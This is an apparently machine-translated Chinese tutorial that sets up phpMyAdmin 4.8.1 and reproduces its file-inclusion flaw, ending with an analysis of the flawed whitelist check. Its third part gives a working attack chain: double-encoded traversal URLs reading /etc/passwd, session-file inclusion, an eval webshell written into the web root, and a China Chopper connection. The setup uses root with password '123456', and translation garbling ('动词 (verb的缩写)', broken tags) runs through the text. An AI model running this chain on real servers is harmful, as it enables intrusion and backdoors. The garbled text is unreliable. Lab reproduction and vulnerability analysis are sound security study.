一、phpMyAdmin环境的配置PS:前两部分将简要说明phpmyadmin 4 . 8 . 1版本的配置过程。如果读者只想了解漏洞,可以从第三部分开始阅读。请见谅~PhpMyAdmin是一个MySQL数据库
PS:前两部分将简要说明phpmyadmin 4 . 8 . 1版本的配置过程。如果读者只想了解漏洞,可以从第三部分开始阅读。请见谅~
PhpMyAdmin是一个MySQL数据库管理工具。安装该工具后,可以直接以Web的形式管理MySQL数据,无需执行系统命令。非常适合不熟悉数据库操作命令的数据库管理人员。下面详细描述了该工具的安装方法。
第一步,下载phpMyAdmin 4.8.1。
第二步,配置环境。
打开libraries目录下的config.default.php文件,依次找到以下项目,按照说明进行配置。
修改MySQL的用户名和密码,phpMyAdmin使用MySQL的默认用户名root,密码设置为“123456”。
/** * MySQL user * * @global string $cfg['Servers'][$i]['user'] */$cfg['Servers'][$i]['user'] = 'root';/** * MySQL password (only needed with 'config' auth_type) * * @global string $cfg['Servers'][$i]['password'] */$cfg['Servers'][$i]['password'] = '123456';
身份验证方法设置为“cookie”,登录phpMyAdmin需要用户名和密码进行验证。有四种模式可供选择:cookie、http、signon和config。
/** * Authentication method (valid choices: config, http, signon or cookie) * * @global string $cfg['Servers'][$i]['auth_type'] */$cfg['Servers'][$i]['auth_type'] = 'cookie';
第三步,运行WAMP软件,将WAMP的phpMyAdmin替换为4.8.1版本。
替换如下图所示:
运行Apache和MySQL如下图所示。
问题1:当我们输入用户名“root”和密码“123456”时,很可能会报错“mysqli _ real _ connect():(hy 000/1045):用户' root' @' localhost '(使用密码:yes)访问被拒绝”。这是一个错误1045,它告诉我们这个错误是由于缺少访问权限,所以访问被拒绝。主要原因是用户名对应的密码错误。
第四步,检查配置文件中的主机、用户名和密码,确认这些信息与MySQL服务器管理员给出的一致。设置controluser和controlpass。
/** * MySQL control user settings (this user must have read-only * access to the "mysql/user" and "mysql/db" tables). The controluser is also * used for all relational features (pmadb) * * @global string $cfg['Servers'][$i]['controluser'] */$cfg['Servers'][$i]['controluser'] = 'root';/** * MySQL control user settings (this user must have read-only * access to the "mysql/user" and "mysql/db" tables). The controluser is also * used for all relational features (pmadb) * * @global string $cfg['Servers'][$i]['controlpass'] */$cfg['Servers'][$i]['controlpass'] = '123456';
第五步是修改“config.sample.inc.php”(或config.sample.inc.php)文件的内容。
设置controluser和controlpass值。
修改如下:
$cfg['Servers'][$i]['controluser'] = 'root';$cfg['Servers'][$i]['controlpass'] = '123456';$cfg['Servers'][$i]['user'] = 'root';$cfg['Servers'][$i]['password'] = '123456';
第六步,登录phpMyAdmin,输入“root”和“123456”进入数据库管理主界面。
二。phpMyAdmin的基本用法
然后我们尝试用phpMyAdmin搭建一个简单的网站。
第一步是创建数据库。
第二步,创建数据表student,点击执行。
第三步,设置表格的字段,包括:id,用户名,密码。
第四步,检查我们创建的数据表学生。
第五步,插入数据并查询。
INSERT INTO `student`(`id`, `username`, `password`) VALUES ('1', 'yangxiuzhang','6666666');INSERT INTO `student`(`id`, `username`, `password`) VALUES ('2', 'Eastmountain','123456');
此时,数据如下图所示:
第六步,写PHP代码显示我们数据库中的内容。
地址:
http://localhost:8088/2020 01 10 . PHP
<?phpecho('<h2>数据库测试</h2>');//链接数据库$con = mysqli_connect("localhost", "root", "123456", "eastmount"); if (!$con) { die('Could not connect database: ' . mysqli_error()); } //设置查询结果编码$con->set_charset('utf8'); //查询学生信息$sql = "SELECT * FROM `student` ";//得到查询结果$result = $con->query($sql); //遍历结果while($row = $result->fetch_array()){ list($id,$username, $password) = $row;echo $id.' ';echo $username.' ';echo $password;echo '<br >';} //关闭连接$con->close(); ?>
结果如下图所示:
如果需要检查配置信息,可以使用“phpinfo()”函数来实现。
& lt?phpphpinfo();?& gt结果显示PHP的配置信息,如下图所示。
写到这里,我们的环境已经搭建成功了。接下来,我们开始解释phpMyAdmin的漏洞。可能很多博主会奇怪,为什么花这么多时间解释环境的构建。原因有二!作者一方面从零开始学习,通过设置环境来重现漏洞;另一方面照顾初学者,希望文章的实验可以通过通俗易懂的步骤实现,也希望安全圈的大牛们不要见笑,哈哈~都是一点一滴成长起来的。
三。phpMyAdmin漏洞的重现原因:phpmyadmin 4 . 8 . 1版的index.php中存在一个包含漏洞的文件,可以通过二次编码绕过过滤。
第一步,根据该版本的CVE漏洞构造URL,在index.php后添加内容,比如显示/etc/passwd的详细信息。
/* 方法一 */http://localhost:8088/phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd/* 方法二 */http://localhost:8088/phpmyadmin/index.php?target=db_datadict.php%253f/../../../../../../../../../Windows/DATE.ini
第二步,遍历目录以包含任意文件。
第三步,执行SQL语句查询数据库路径。结果是:C:xampmysqldata。
show global variables like "%datadir%";
第四步,编写php代码到数据库。创建数据库rce和表rce,插入php代码。
CREATE DATABASE rce;use rce;CREATE TABLE rce(code varchar(100));INSERT INTO rce(code) VALUES("<?php phpinfo(); ?>");
输出如下图所示:
然后我们可以看到插入的php代码,如下所示。
第五步,执行select '
通过浏览器检查网络的Cookie值。
第六步,构建包含会话值的URL路径。
F12检查网站会话值并访问/index.php?target = db _ SQL . PHP % 253 f/…/…/…/…/…/tmp/sess _[session].
?target=db_datadict.php%253f/../../../../../../../../../phpStudy/PHPTutorial/tmp/tmp/sess_imnnv91q886sfboa2sqos02b7njvho24
您可以访问下图所示的信息:
第七步,在phpInfo的默认页面找到网站的安装位置:/var/www/html,然后编写一个木马。
select '<?php @eval($_POST[hcl]) ?>' into outfile '/var/www/html/hcl.php'
第八步,通过菜刀连接http://ip/hcl.php。菜刀连接成功,在根目录下找到key.txt文件。检查key.txt文件以获取密钥值。
简单总结:
利用phpMyAdmin 4.8.1后台文件中包含漏洞,获取登录phpMyAdmin系统生成的sess_sessionID文件,然后绕过该文件获取相关信息并植入木马,最终获取webshell。一般linux系统中的存储路径是/tmp/sess_[当前会话session值]。
四。脆弱性原则在phpmyadmin版本4.8.1的index.php文件中,第50-63行如下所示:
$target_blacklist = array ( 'import.php', 'export.php');// If we have a valid target, let's load that script insteadif (! empty($_REQUEST['target']) && is_string($_REQUEST['target']) && ! preg_match('/^index/', $_REQUEST['target']) && ! in_array($_REQUEST['target'], $target_blacklist) && Core::checkPageValidity($_REQUEST['target'])) { include $_REQUEST['target']; exit;}
它的意思是:
目标不能作为空传入
目标必须是字符串。
目标不能以索引开头
目标不能在数组target_blacklist中
经过checkPageValidit检查后,目标为true
前三个大家都很容易理解,第四个判断就是黑名单判断。在index.php已经定义了target_blacklist的值。他们是import.php和export.php,只要他们不等于这两个值。
再看第五个判断,core::check page validity($ _ request[' target ']为真,通过全局搜索在librariesclassesCore.php文件的第443-476行找到代码。
public static function checkPageValidity(&$page, array $whitelist = []){ if (empty($whitelist)) { $whitelist = self::$goto_whitelist; } if (! isset($page) || !is_string($page)) { return false; } if (in_array($page, $whitelist)) { return true; } $_page = mb_substr( $page, 0, mb_strpos($page . '?', '?') ); if (in_array($_page, $whitelist)) { return true; } $_page = urldecode($page); $_page = mb_substr( $_page, 0, mb_strpos($_page . '?', '?') ); if (in_array($_page, $whitelist)) { return true; } return false;}
checkPageValidit有两个参数,第一个是传入目标,第二个白名单有默认参数,是空的数组。进入函数首先会判断whitelist是否为空,如果是空,则将定义的goto_whitelist赋给whitelist(因为是空,所以我们只传入一个目标)。我们来看看goto_whitelist的代码。
public static $goto_whitelist = array( 'db_datadict.php', 'db_sql.php', 'db_events.php', 'db_export.php', 'db_importdocsql.php', 'db_multi_table_query.php', 'db_structure.php', 'db_import.php', 'db_operations.php', 'db_search.php', 'db_routines.php', 'export.php', 'import.php', 'index.php', 'pdf_pages.php', 'pdf_schema.php', 'server_binlog.php', 'server_collations.php', 'server_databases.php', 'server_engines.php', 'server_export.php', 'server_import.php', 'server_privileges.php', 'server_sql.php', 'server_status.php', 'server_status_advisor.php', 'server_status_monitor.php', 'server_status_queries.php', 'server_status_variables.php', 'server_variables.php', 'sql.php', 'tbl_addfield.php', 'tbl_change.php', 'tbl_create.php', 'tbl_import.php', 'tbl_indexes.php', 'tbl_sql.php', 'tbl_export.php', 'tbl_operations.php', 'tbl_structure.php', 'tbl_relation.php', 'tbl_replace.php', 'tbl_row_action.php', 'tbl_select.php', 'tbl_zoom_select.php', 'transformation_overview.php', 'transformation_wrapper.php', 'user_password.php',);
然后分析代码。如果页面在白名单中,将直接返回true。但这里考虑的是带参数的情况,所以做出如下判断。
在下面的代码中,mb_strpos函数用于查找一个字符串在另一个字符串中的第一次出现。_page变量是获取页面问号之前的内容。考虑到目标是有参数的,只要_page在白名单中,就直接返回true。但是也考虑了url编码,所以如果这一步不成功,下一步就是url解码。
当传入重新编码的内容时,函数checkPageValidity()将返回true,但index中实际包含的内容不是白名单文件。
比如,即将到来的“?Target=db_datadict.php%253f”,由于服务器会自动解码一次,所以在checkPageValidity()中,page的值一开始会是“db_datadict.php%3f”,变成“db_datadict.php?”url再次被解码后。这个时候,它符合?该函数在内容出现在白名单中之前返回true。
但是,在index.php,_ request ['target']仍然是“db_datadict.php%3f”,它将被包含,这可以通过目录遍历导致任意文件被包含。最后通过该漏洞实现了上述攻击,并迅速修复了该漏洞,发布了新版本。
动词 (verb的缩写)摘要就这样,这篇基础文章结束了。希望对你有帮助。本文利用phpMyAdmin 4.8.1后台文件中包含的漏洞,获取登录phpMyAdmin系统生成的sess_sessionID文件,然后绕过该文件获取相关信息,植入木马,最终获取webshell。同时这个漏洞只有登录后才能使用,比较弱。一般登录后可以直接执行SQL语句生成shell,但有时目录权限比较严格,不能在WEB目录下生成,可以结合这个例子使用。